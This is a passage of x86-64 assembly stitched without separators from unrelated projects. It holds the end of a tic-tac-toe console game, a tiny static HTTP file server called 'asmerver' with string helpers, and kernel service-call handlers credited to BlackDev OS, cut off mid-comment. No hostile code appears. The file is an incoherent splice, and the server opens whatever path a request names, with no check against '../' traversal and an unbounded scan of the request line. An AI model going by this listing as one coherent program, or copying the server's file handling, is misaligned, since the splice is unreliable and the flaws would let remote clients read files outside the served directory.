clear_screen_ASCII_escape + mov rdx, cs_size + call print + ret + +update_draw: + + cmp rax, 1 + je first_pos + + cmp rax, 2 + je second_pos + + cmp rax, 3 + je third_pos + + cmp rax, 4 + je fourth_pos + + cmp rax, 5 + je fifith_pos + + cmp rax, 6 + je sixth_pos + + cmp rax, 7 + je seventh_pos + + cmp rax, 8 + je eighth_pos + + cmp rax, 9 + je nineth_pos + + jmp end_update + + first_pos: + mov rax, 0 + jmp continue_update + + second_pos: + mov rax, 2 + jmp continue_update + + third_pos: + mov rax, 4 + jmp continue_update + + fourth_pos: + mov rax, 6 + jmp continue_update + + fifith_pos: + mov rax, 8 + jmp continue_update + + sixth_pos: + mov rax, 10 + jmp continue_update + + seventh_pos: + mov rax, 12 + jmp continue_update + + eighth_pos: + mov rax, 14 + jmp continue_update + + nineth_pos: + mov rax, 16 + jmp continue_update + + continue_update: + + lea rbx, [game_draw + rax] + + mov rsi, player + + cmp byte[rsi], "0" + je draw_x + + cmp byte[rsi], "1" + je draw_o + + draw_x: + mov cl, "x" + jmp update + + draw_o: + mov cl, "o" + jmp update + + update: + mov [rbx], cl + + end_update: + + ret + +check: + call check_line + ret + +check_line: + + mov rcx, 0 + + check_line_loop: + cmp rcx, 0 + je first_line + + cmp rcx, 1 + je second_line + + cmp rcx, 2 + je third_line + + call check_column + ret + + first_line: + mov rsi, 0 + jmp do_check_line + + second_line: + mov rsi, 6 + jmp do_check_line + + third_line: + mov rsi, 12 + jmp do_check_line + + do_check_line: + inc rcx + + lea rbx, [game_draw + rsi] + + mov al, [ebx] + cmp al, "_" + je check_line_loop + + add rsi, 2 + lea rbx, [game_draw + rsi] + + cmp al, [rbx] + jne check_line_loop + + add rsi, 2 + lea rbx, [game_draw + rsi] + + cmp al, [rbx] + jne check_line_loop + + mov byte[win_flag], 1 + ret + +check_column: + mov rcx, 0 + + check_colum_loop: + cmp rcx, 0 + je first_column + + cmp rcx, 1 + je second_column + + cmp rcx, 2 + je third_column + + call check_diagonal + ret + + first_column: + mov rsi, 0 + jmp do_check_column + + second_column: + mov rsi, 2 + jmp do_check_column + + third_column: + mov rsi, 4 + jmp do_check_column + + do_check_column: + inc rcx + + lea rbx, [game_draw + rsi] + + mov al, [rbx] + cmp al, "_" + je check_colum_loop + + add rsi, 6 + lea rbx, [game_draw + rsi] + + cmp al, [rbx] + jne check_colum_loop + + add rsi, 6 + lea rbx, [game_draw + rsi] + + cmp al, [rbx] + jne check_colum_loop + + mov byte[win_flag], 1 + ret + +check_diagonal: + mov rcx, 0 + + check_diagonal_loop: + cmp rcx, 0 + je first_diagonal + + cmp rcx, 1 + je second_diagonal + + ret + + first_diagonal: + mov rsi, 0 + mov rdx, 8 ; tamanho do pulo que vamos dar para o meio da diagonal + jmp do_check_diagonal + + second_diagonal: + mov rsi, 4 + mov rdx, 4 + jmp do_check_diagonal + + do_check_diagonal: + inc rcx + + lea rbx, [game_draw + rsi] + + mov al, [rbx] + cmp al, "_" + je check_diagonal_loop + + add rsi, rdx + lea rbx, [game_draw + rsi] + + cmp al, [rbx] + jne check_diagonal_loop + + add rsi, rdx + lea rbx, [game_draw + rsi] + + cmp al, [rbx] + jne check_diagonal_loop + + mov byte[win_flag], 1 + ret + +game_over: + call clear_screen + + mov rsi, game_start_message + mov rdx, gsm_size + call print + + mov rsi, new_line + mov rdx, nl_size + call print + + mov rsi, game_draw + mov rdx, gd_size + call print + + mov rsi, new_line + mov rdx, nl_size + call print + + mov rsi, game_over_message + mov rdx, gom_size + call print + + mov rsi, player_message + mov rdx, pm_size + call print + + mov rsi, player + mov rdx, p_size + call print + + mov rsi, win_message + mov rdx, wm_size + call print + + jmp fim + +fim: + mov rax, 60 + mov rdi, 0 + syscall + +; void send_http_200(int contentfd, int sockfd) +; send http 200 response with with content from given file to given socket +send_http_200: + push rdi + push rsi + push r8 + push r9 + +; get file size + mov r8, rdi ; save fd + mov r9, rsi ; save sockfd + + ; fd at rdi + mov rsi, file_stat ; pass *buf + call sys_fstat ; 0 on success + ; error is unlikely + mov rax, [file_stat + stat.st_size] + mov [content_len], rax ; save content length + +; allocate buffer for response + call current_heap_addr + push rax ; save current heap addr + + mov rdi, [content_len] ; pass size + call alloc_response_buffer + + pop rax ; get ptr to beginning of allocated buf + mov [response_buf_ptr], rax ; save response buffer pointer + + ; HACK Adding pad for using this buffer to construct response later + add rax, RESPONSE_HEADER_CAP + mov [content_buf_ptr], rax ; save content buffer pointer + +; read content + mov rdi, r8 ; pass fd + mov rsi, rax ; pass *buf + mov rdx, [content_len] ; pass count + call read_file + +; make response + mov rdi, [response_buf_ptr] ; pass *buf + mov rsi, [content_buf_ptr] ; pass *content + call construct_http_200 ; http 200 response + +; send response + call slen ; calculate length of response + mov rdx, rax ; pass length + mov rsi, [response_buf_ptr] ; pass *message + mov rdi, r9 ; pass socket + call send + +; free buffer + call sys_brk + + pop r9 + pop r8 + pop rsi + pop rdi + + ret + + +send_http_404: + push rsi + push rdx + + ; socket in rdi + mov rsi, http_404 ; pass message + mov rdx, http_404_len ; pass length + call send + + pop rdx + pop rsi + + ret + + +; void construct_http_200(char* buf, char* content) +; construct http 200 response in buf +construct_http_200: + push r8 + push r9 + + mov r8, rdi ; save *buf + mov r9, rsi ; save *content + + mov rsi, http_200 + call strcat ; status + + mov rsi, cont_length + call strcat ; content length label + + mov rdi, r9 ; pass *content + call slen ; calculate length of content + mov rdi, rax ; pass num + mov rsi, content_len_buf ; pass *buf + call itoa ; convert content length to string + mov rdi, r8 + mov rsi, content_len_buf + call strcat ; content length + + mov rdi, r8 + mov rsi, cr_lf + call strcat + call strcat ; cr_lf + + mov rsi, r9 + call strcat ; content + + pop r9 + pop r8 + + ret + + +; bool is_get_request(char* request) +; 1 if request is GET, 0 if not +is_get_request: + mov ax, 0 ; false + + cmp byte[rdi+0], 'G' + jne .exit + cmp byte[rdi+1], 'E' + jne .exit + cmp byte[rdi+2], 'T' + jne .exit + + mov ax, 1 ; true +.exit: + ret + + +; char* alloc_response_buffer(int size) +; allocate buffer for response body + head and get buffer's address +alloc_response_buffer: + push rdi + + add rdi, RESPONSE_HEADER_CAP ; add header size + call mem_alloc ; new heap addr on success + + cmp rax, 0 + jge .exit + mov rdi, err_msg_alloc + jmp error ; exit with error +.exit: + pop rdi + + ret + + +; HACK Places terminating zero at the end of resource path +; char* extract_resource_path(char* request) +; returns pointer to the resource path +extract_resource_path: + push rdi + + add rdi, 5 ; skip "GET /" + mov rax, rdi ; save beginning +.loop: + cmp byte[rdi], ' ' ; check if space + je .place_zero + inc rdi ; next char + jmp .loop ; loop +.place_zero: + mov byte[rdi], 0x00 + + pop rdi + + ret + + + SECTION .bss + + response_buf_ptr resq 1 + content_buf_ptr resq 1 + content_len resq 1 + content_len_buf resb 19 + + + SECTION .rodata + + http_200 db "HTTP/1.1 200 OK",0x0d,0x0a,0x00 + http_200_len equ $ - http_200 - 1 + http_404 db "HTTP/1.1 404 Not Found",0x0d,0x0a,0x00 + http_404_len equ $ - http_404 - 1 + +; constants +%define BACKLOG 8 +%define REQUEST_BUF_CAP 2048 +%define RESPONSE_HEADER_CAP 2048 + +%include "http.asm" +%include "net.asm" +%include "os.asm" +%include "print.asm" +%include "string.asm" +%include "syscall.asm" + + SECTION .text + +global _start +_start: + ; clear registers + xor rax, rax + xor rdi, rdi + xor rsi, rsi + xor rdx, rdx + +handle_arguments: + pop r8 ; pop number of arguments + cmp r8, 3 ; check arguments count is good + je .get_arguments + + mov rdi, help_msg ; print the help and exit otherwise + call println + jmp exit_failure + +.get_arguments: + pop r8 ; discard binary name + + pop rdi ; listening port + call atoi ; convert to integer + xchg ah, al ; change byte order to big endian + mov [list_sock_port], rax ; save listening port + + pop rdi ; serving directory + +.change_directory: + call sys_chdir ; 0 on success + cmp rax, 0 + je .continue + mov rdi, err_msg_dir + jmp error ; exit with error +.continue: + + +create_socket: + mov rdi, AF_INET ; pass domain (0x02) + mov rsi, SOCK_STREAM ; pass type (0x01) + mov rdx, IPPROTO_TCP ; pass protocol (0x06) + call sys_socket ; list_sockfd in rax on success + + ; error info + cmp rax, 0 + jge .continue + mov rdi, err_msg_socket + jmp error ; exit with error +.continue: + +set_sock_opt: + mov [list_sock], rax ; save list_sockfd + mov rdi, rax ; pass socket + mov rsi, 0x01 ; pass level (SOL_SOCKET) + mov rdx, 0x02 ; pass option_name (SO_REUSEADDR) + mov r10, sock_addr ; pass option_value + mov r8, sockaddr_in_size ; pass option_len (size of sock_addr) + call sys_setsockopt ; 0 in rax on success + + ; error info + cmp rax, 0 + je .continue + mov rdi, err_msg_socket_opt + jmp error ; exit with error +.continue: + +bind: + mov rsi, [list_sock_port] + mov [sock_addr+sin_port], rsi ; set port + + mov rdi, [list_sock] ; pass list_sockfd + mov rsi, sock_addr ; pass *addr + mov rdx, sockaddr_in_size ; pass addrlen (size of sock_addr) + call sys_bind ; 0 in rax on success + + ; error info + cmp rax, 0 + je .continue + mov rdi, err_msg_bind + jmp error ; exit with error +.continue: + +listen: + mov rdi, [list_sock] ; pass list_sockfd + mov rsi, BACKLOG ; pass backlog (max len of queue of pending conns) + call sys_listen ; 0 in rax on success + + cmp rax, 0 + je .continue + call sys_close ; close socket + mov rdi, err_msg_listen + jmp error ; exit with error +.continue: + +accept: + mov rdi, [list_sock] ; pass list_sockfd + mov rsi, 0x00 ; pass addr (NULL) + mov rdx, 0x00 ; pass addrlen (size of sockaddr) (NULL) + call sys_accept ; accepted socket's fd in rax on success + + cmp rax, 0 + jge .continue + mov rdi, err_msg_accept + jmp error ; exit with error +.continue: + mov r12, rax ; save acc_sockfd + +read_request: + mov rdi, r12 ; pass acc_sockfd + mov rsi, request_buf ; pass *buf + mov rdx, REQUEST_BUF_CAP ; pass count + call sys_read ; bytes read on success + + cmp rax, 0 + jge .continue + mov rdi, err_msg_read_req + jmp error ; exit with error +.continue: + +check_request_is_get: + mov rdi, request_buf ; pass *request + call is_get_request + cmp rax, 0 ; if not GET then don't response + jz listen + +get_file_path: + mov rdi, request_buf ; pass *request + call extract_resource_path + + cmp byte[rax], 0 ; if standard file path (points at term zero) + jnz .continue + mov rax, index_file ; response with index +.continue: + +open_response_file: + mov rdi, rax ; pass *pathname + mov rsi, 0 ; O_RDONLY + call sys_open ; fd on success + + ; error info + cmp rax, 0 + jl response_404 ; response 404 if can't open file + +response_200: + mov rdi, rax ; pass contentfd + mov rsi, r12 ; pass sockfd + call send_http_200 + jmp close_socket + +response_404: + mov rdi, r12 ; pass sockfd + call send_http_404 + +close_socket: + mov rdi, r12 ; pass fd + call sys_close ; close socket + + cmp rax, 0 + je .continue + mov rdi, err_msg_close_sock + jmp error ; exit with error +.continue: + jmp accept ; accept loop + + +error: + call eprintln + jmp exit_failure + + +; exit program and restore resources +exit_success: + mov rdi, 0x00 ; EXIT_SUCCESS + call sys_exit + + +; exit program with error +exit_failure: + mov rdi, 0x01 ; EXIT_FAILURE + call sys_exit + + + SECTION .bss + + list_sock resq 1 + list_sock_port resw 1 + request_buf resb REQUEST_BUF_CAP + request_buf_len resq 1 + file_stat resb 64 + + + SECTION .data + + sock_addr: istruc sockaddr_in + at sin_family, dw AF_INET + at sin_port, dw 0 + at sin_addr, dd INADDR_ANY + at sin_zero, dd 0x0000000000000000 + iend + + + SECTION .rodata + + help_msg db "asmerver 1.0",0x0a,"nuid64 ",0x0a,"Usage: ",0x0a,0x09,"asmerver ",0x00 + + err_msg_alloc db "Memory allocating completed with error",0x00 + err_msg_dir db "Can't open served directory",0x00 + err_msg_read db "An error occured during reading a file",0x00 + err_msg_read_req db "An error occured during reading a request",0x00 + err_msg_socket db "Failed to create socket",0x00 + err_msg_socket_opt db "Failed to set socket options",0x00 + err_msg_bind db "Can't bind address",0x00 + err_msg_listen db "Socket don't want to listen",0x00 + err_msg_accept db "Connection not accepted",0x00 + err_msg_send db "An error occured during sending response",0x00 + err_msg_close_sock db "Failed to close socket",0x0 + + index_file db "index.html",0x00 + + cont_length db "Content-Length: ",0x00 + cont_length_len equ $ - cont_length - 1 + + cr_lf db 0x0d,0x0a,0x00 + + SECTION .text + +; void strcat(char* dest, char* src) +; concatenates src to dest +strcat: + push rdi + push rsi + push rax + +.find_end: + mov al, byte [rdi] ; load char + inc rdi ; increase ptr + cmp al, 0x00 ; until it reached terminating zero + jne .find_end + + dec rdi ; place ptr back to terminating zero + cld ; clear decimal for lodsb +.place_char: + lodsb ; load char + mov [rdi], al ; place char + inc rdi ; increase ptr + cmp al, 0x00 ; until it reached terminating zero + jne .place_char + + pop rax + pop rsi + pop rdi + ret + + +; int slen(char* str) +; calculates length of string +slen: + push rdi + push rsi + push rcx + + cld ; clear decimal for lodsb + mov rcx, -1 ; take termintating zero into account + mov rsi, rdi ; move ptr to rsi for lodsb +.nextchar: + inc rcx ; increase counter + lodsb ; load char + cmp al, 0x00 ; until it reached terminating zero + jne .nextchar + + mov rax, rcx ; return value + pop rcx + pop rsi + pop rdi + ret + + +; void itoa(int num, char* buf) +; int to char* conversion +itoa: + push rdi + push rsi + push rdx + push rax + push rbx + +.start_converting: + call calc_digits_count ; get number of digits + mov rcx, rax + + mov al, 0x00 + mov [rsi+rcx], al ; place terminating zero at the end + dec rcx ; move pointer left + + mov rax, rdi ; place number for dividing + mov rbx, 10 +.loop: + xor rdx, rdx ; avoiding error + div rbx ; get remainder of dividing by ten + + add rdx, 0x30 ; converting to ASCII digit's symbol + mov [rsi+rcx], dl ; place char + dec rcx ; move pointer left + cmp rax, 9 + ja .loop ; until rax is zero +.last_digit: + add rax, 0x30 ; last digit + mov [rsi+rcx], al + + pop rbx + pop rax + pop rdx + pop rsi + pop rdi + ret + + +; int atoi(char* buf) +; char* to int conversion +atoi: + push rsi + xor rax, rax + +.loop: + movzx rsi, byte [rdi] + test rsi, rsi ; check for \0 + je .done + + cmp rsi, 48 ; check symbol is digit + jl .error + cmp rsi, 57 + jg .error + + sub rsi, 48 ; convert to decimal + imul rax, 10 + add rax, rsi + + inc rdi + jmp .loop + +.error: + mov rax, -1 ; -1 on error + +.done: + pop rsi + + ret + + +; int calc_digits_count(int num) +; calculates count of digits in number +calc_digits_count: + push rdi + push rdx + push rbx + push rcx + + mov rax, rdi ; move number + mov rbx, 10 + xor rcx, rcx ; zeroing counter +.loop: + inc rcx + cmp rax, 10 + jb .exit + xor rdx, rdx ; avoiding error + div rbx ; dividing by base until ratio is zero + jmp .loop +.exit: + mov rax, rcx ; move result in rax + + pop rcx + pop rbx + pop rdx + pop rdi + ret + +;=============================================================================== +;Copyright (C) Andrzej Adamczyk (at https://blackdev.org/). All rights reserved. +;=============================================================================== + +; information for linker +section .rodata + +; align routine +align 0x08, db 0x00 +kernel_service_list: + dq kernel_service_exit + dq kernel_service_framebuffer + dq kernel_service_memory_alloc + dq kernel_service_memory_release + dq kernel_service_task_pid + dq kernel_service_driver_mouse + dq kernel_service_storage_read + dq kernel_service_exec + dq kernel_service_ipc_send + dq kernel_service_ipc_receive + dq kernel_service_memory_share + dq driver_ps2_keyboard_key_read + dq kernel_service_task_status + dq kernel_stream_out + dq kernel_stream_in + dq kernel_service_serial_char + dq kernel_service_serial_string + dq kernel_service_serial_value + dq driver_rtc_time + dq kernel_stream_set + dq kernel_stream_get + dq kernel_service_sleep + dq kernel_service_uptime + dq kernel_stream_out_value + dq kernel_service_task + dq kernel_service_memory + dq kernel_service_thread +kernel_service_list_end: + +; information for linker +section .text + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to Memory descriptor +kernel_service_memory: + ; preserve original registers + push rax + push r8 + + ; kernel environment variables/rountines base addrrax + mov r8, qword [kernel_environment_base_address] + + ; return information about + + ; all available pages + mov rax, qword [r8 + KERNEL_STRUCTURE.page_total] + mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.total], rax + + ; and currently free + mov rax, qword [r8 + KERNEL_STRUCTURE.page_available] + mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.available], rax + + ; restore original registers + pop r8 + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; void +kernel_service_exit: + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; mark task as closed and not active + or word [r9 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_closed + and word [r9 + KERNEL_TASK_STRUCTURE.flags], ~KERNEL_TASK_FLAG_active + + ; release rest of AP time + int 0x20 + +;------------------------------------------------------------------------------- +; in: +; rdi - sleep amount in microtime +kernel_service_sleep: + ; preserve original registers + push rdi + push r8 + push r9 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; current uptime + add rdi, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] + + ; go to sleep for N ticks + mov qword [r9 + KERNEL_TASK_STRUCTURE.sleep], rdi + + ; release the remaining CPU time + int 0x20 + + ; restore original registers + pop r9 + pop r8 + pop rdi + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; out: +; rax - current uptime in microtime +kernel_service_uptime: + ; return current microtime index + mov rax, qword [kernel_environment_base_address] + mov rax, qword [rax + KERNEL_STRUCTURE.hpet_microtime] + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to mouse descriptor +kernel_service_driver_mouse: + ; preserve original registers + push rax + push r8 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + + ; share information about mouse location and status + mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_x] + mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.x], ax + mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_y] + mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.y], ax + mov al, byte [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_status] + mov byte [rdi + LIB_SYS_STRUCTURE_MOUSE.status], al + + ; restore original registers + pop r8 + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdx - stream flags +; rsi - length of file name/path +; rdi - pointer to file name/path +; out: +; rax - process ID +kernel_service_exec: + ; preserve original registers + push rcx + push rsi + push rdi + push rbp + push r8 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + + ; reorganize registers + mov rcx, rsi ; length of string + mov rsi, rdx ; pointer to string + xchg rsi, rdi ; stream flags + + ; execute file from path + call kernel_exec + + ; restore original registers + pop r8 + pop rbp + pop rdi + pop rsi + pop rcx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to framebuffer descriptor +kernel_service_framebuffer: + ; preserve original registers + push rax + push rcx + push rdx + push rsi + push r8 + push r9 + push r11 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + + ; return properties of framebuffer + + ; width in pixels + mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_width_pixel] + mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.width_pixel], ax + + ; height in pixels + mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_height_pixel] + mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel], ax + + ; scanline in Bytes + mov eax, dword [r8 + KERNEL_STRUCTURE.framebuffer_scanline_byte] + mov dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte], eax + + ; framebuffer manager + mov rax, qword [r8 + KERNEL_STRUCTURE.framebuffer_pid] + + ; framebuffer manager exist? + test rax, rax + jnz .return ; yes + + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; calculate size of framebuffer space + mov eax, dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte] + movzx ecx, word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel] + mul rcx + + ; convert to pages + add rax, ~STATIC_PAGE_mask + shr rax, STATIC_PAGE_SIZE_shift + + ; share framebuffer memory space with process + xor ecx, ecx ; no framebuffer manager, if error on below function + xchg rcx, rax ; length of shared space in pages + mov rsi, qword [r8 + KERNEL_STRUCTURE.framebuffer_base_address] + mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] + call kernel_memory_share + jc .return ; no enough memory? + + ; return pointer to shared memory of framebuffer + mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.base_address], rax + + ; new framebuffer manager + mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid] + mov qword [r8 + KERNEL_STRUCTURE.framebuffer_pid], rax + +.return: + ; inform about framebuffer manager + mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.pid], rax + + ; restore original registers + pop r11 + pop r9 + pop r8 + pop rsi + pop rdx + pop rcx + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - ID of target process +; rsi - pointer to message data +kernel_service_ipc_send: + ; preserve original registers + push rax + push rcx + push rsi + push rdi + push r8 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + +.lock: + ; request an exclusive access + mov cl, LOCK + lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl + + ; assigned? + test cl, cl + jnz .lock ; no + +.restart: + ; amount of entries + mov rcx, KERNEL_IPC_limit + + ; set pointer to first message + mov rdx, qword [r8 + KERNEL_STRUCTURE.ipc_base_address] + +.loop: + ; free entry? + mov rax, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] + cmp qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax + jbe .found ; yes + + ; next entry from list + add rdx, LIB_SYS_STRUCTURE_IPC.SIZE + + ; end of message list? + dec rcx + jz .restart ; yes + + ; no + jmp .loop + +.found: + ; set message time out + add rax, KERNEL_IPC_timeout + mov qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax + + ; set message source + call kernel_task_pid + mov qword [rdx + LIB_SYS_STRUCTURE_IPC.source], rax + + ; set message target + mov qword [rdx + LIB_SYS_STRUCTURE_IPC.target], rdi + + ; load data into message + mov ecx, LIB_SYS_IPC_DATA_size_byte + mov rdi, rdx + add rdi, LIB_SYS_STRUCTURE_IPC.data + rep movsb + +.end: + ; release access + mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK + + ; restore original registers + pop r8 + pop rdi + pop rsi + pop rcx + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to message descriptor +; sil - message type +; out: +; TRUE if message retrieved +kernel_service_ipc_receive: + ; preserve original registers + push rbx + push rcx + push rdi + push r8 + push rsi + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + +.lock: + ; request an exclusive access + mov cl, LOCK + lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl + + ; assigned? + test cl, cl + jnz .lock ; no + + ; retrieve ID of current process + call kernel_task_pid + + ; amount of entries + mov rcx, KERNEL_IPC_limit + + ; set pointer to first message + mov rsi, qword [r8 + KERNEL_STRUCTURE.ipc_base_address] + +.loop: + ; message alive? + mov rbx, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] + cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], rbx + ja .check ; yes + +.next: + ; next entry from list? + add rsi, LIB_SYS_STRUCTURE_IPC.SIZE + dec rcx + jnz .loop ; yes + + ; no message for us + xor eax, eax + + ; no + jmp .end + +.check: + ; message type selected? + cmp byte [rsp], LIB_SYS_IPC_TYPE_ANY + je .any ; no + + ; requested message type? + mov bl, byte [rsp] + cmp bl, byte [rsi + LIB_SYS_STRUCTURE_IPC.data + LIB_SYS_STRUCTURE_IPC_DEFAULT.type] + jne .next ; no + +.any: + ; message for us? + cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.target], rax + jne .next ; no + + ; preserve original register + push rsi + + ; load message to process descriptor + mov ecx, LIB_SYS_STRUCTURE_IPC.SIZE + rep movsb + + ; restore original register + pop rsi + + ; release entry + mov qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], EMPTY + + ; message transferred + mov eax, TRUE + +.end: + ; release access + mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK + + ; restore original registers + pop rsi + pop r8 + pop rdi + pop rcx + pop rbx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - length of space in Bytes +; out: +; rax - pointer to allocated space +; or EMPTY if no enough memory +kernel_service_memory_alloc: + ; preserve original registers + push rbx + push rcx + push rsi + push rdi + push r8 + push r9 + push r11 + + ; convert size to pages (align up to page boundaries) + add rdi, ~STATIC_PAGE_mask + shr rdi, STATIC_PAGE_SIZE_shift + + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; set pointer of process paging array + mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] + + ; aquire memory space from process memory map + mov r9, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] + mov rcx, rdi ; number of pages + call kernel_memory_acquire + jc .error ; no enough memory + + ; convert first page number to logical address + shl rdi, STATIC_PAGE_SIZE_shift + + ; assign pages to allocated memory in process space + mov rax, rdi + mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process + call kernel_page_alloc + jnc .allocated ; space allocated + + ; take back modifications + mov rsi, rcx + call kernel_service_memory_release + +.error: + ; no enough memory + xor eax, eax + + ; end + jmp .end + +.allocated: + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; process memory usage + add qword [r9 + KERNEL_TASK_STRUCTURE.page], rcx + +.end: + ; restore original registers + pop r11 + pop r9 + pop r8 + pop rdi + pop rsi + pop rcx + pop rbx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to allocated space +; rsi - length of space in Bytes +kernel_service_memory_release: + ; preserve original registers + push rax + push rcx + push rsi + push rdi + push r9 + push r11 + + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; convert bytes to pages + add rsi, ~STATIC_PAGE_mask + shr rsi, STATIC_PAGE_SIZE_shift + + ; pointer and counter at place + mov rcx, rsi + mov rsi, rdi + +.loop: + ; delete first physical page from logical address + mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] + call kernel_page_remove + + ; page removed? + test rax, rax + jnz .release ; yes + + ; convert to page number + shr rsi, STATIC_PAGE_SIZE_shift + + ; continue + jmp .next + +.release: + ; release page inside kernels binary memory map + mov rdi, rax + or rdi, qword [kernel_page_mirror] + call kernel_memory_release_page + + ; release page inside process binary memory map + shr rsi, STATIC_PAGE_SIZE_shift + mov rdi, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] + bts qword [rdi], rsi + + ; process memory usage + dec qword [r9 + KERNEL_TASK_STRUCTURE.page] + +.next: + ; next page from space + inc rsi + shl rsi, STATIC_PAGE_SIZE_shift + + ; another page? + dec rcx + jnz .loop ; yes + + ; restore original registers + pop r11 + pop r9 + pop rdi + pop rsi + pop rcx + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to source memory space +; rsi - length of space in Bytes +; rdx - target process ID +; out: +; rax - pointer to shared memory between processes +kernel_service_memory_share: + ; preserve original registers + push rbx + push rcx + push rsi + push rdi + push r9 + push r11 + + ; convert Bytes to pages + mov rcx, rsi + add rcx, ~STATIC_PAGE_mask + shr rcx, STATIC_PAGE_SIZE_shift + + ; retrieve task paging structure pointer + call kernel_task_by_id + mov r11, qword [rbx + KERNEL_TASK_STRUCTURE.cr3] + + ; set source pointer in place + mov rsi, rdi + + ; acquire memory space from target process + mov r9, qword [rbx + KERNEL_TASK_STRUCTURE.memory_map] + call kernel_memory_acquire + + ; convert page number to offset + shl rdi, STATIC_PAGE_SIZE_shift + + ; connect memory space of parent process with child + mov rax, rdi + mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process | KERNEL_PAGE_FLAG_shared + call kernel_page_clang + + ; restore original registers + pop r11 + pop r9 + pop rdi + pop rsi + pop rcx + pop rbx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; out: +; rax - PID of current task +kernel_service_task_pid: + ; preserve original registers + push r9 + + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; set pointer of process paging array + mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid] + + ; restore original registers + pop r9 + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - process ID +; out: +; ax - task status +kernel_service_task_status: + ; preserve original registers + push rbx + push rdx + + ; retrieve pointer to current task descriptor + mov rdx, rdi + call kernel_task_by_id + + ; by default not found + xor ax, ax + + ; not found? + test rbx, rbx + jz .error ; yep + + ; set pointer of process paging array + mov ax, word [rbx + KERNEL_TASK_STRUCTURE.flags] + +.error: + ; restore original registers + pop rdx + pop rbx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - ASCII character +kernel_service_serial_char: + ; preserve original register + push rax + + ; send character to serial + mov al, dil + call driver_serial_char + + ; restore original register + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to string +; rsi - length of string in Bytes +kernel_service_serial_string: + ; preserve original registers + push rcx + push rsi + + ; send string to serial + mov rcx, rsi + mov rsi, rdi + call driver_serial_string + + ; restore original registers + pop rsi + pop rcx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - value +; sil - base +; rdx - prefix length +; cl - TRUE/FALSE signed value? +kernel_service_serial_value: + ; preserve original registers + push rax + push rbx + push rcx + push rdx + + ; send value to serial + mov rax, rdi + movzx ebx, sil + xchg rcx, rdx + call driver_serial_value + + ; restore original registers + pop rdx + pop rcx + pop rbx + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to file descriptor 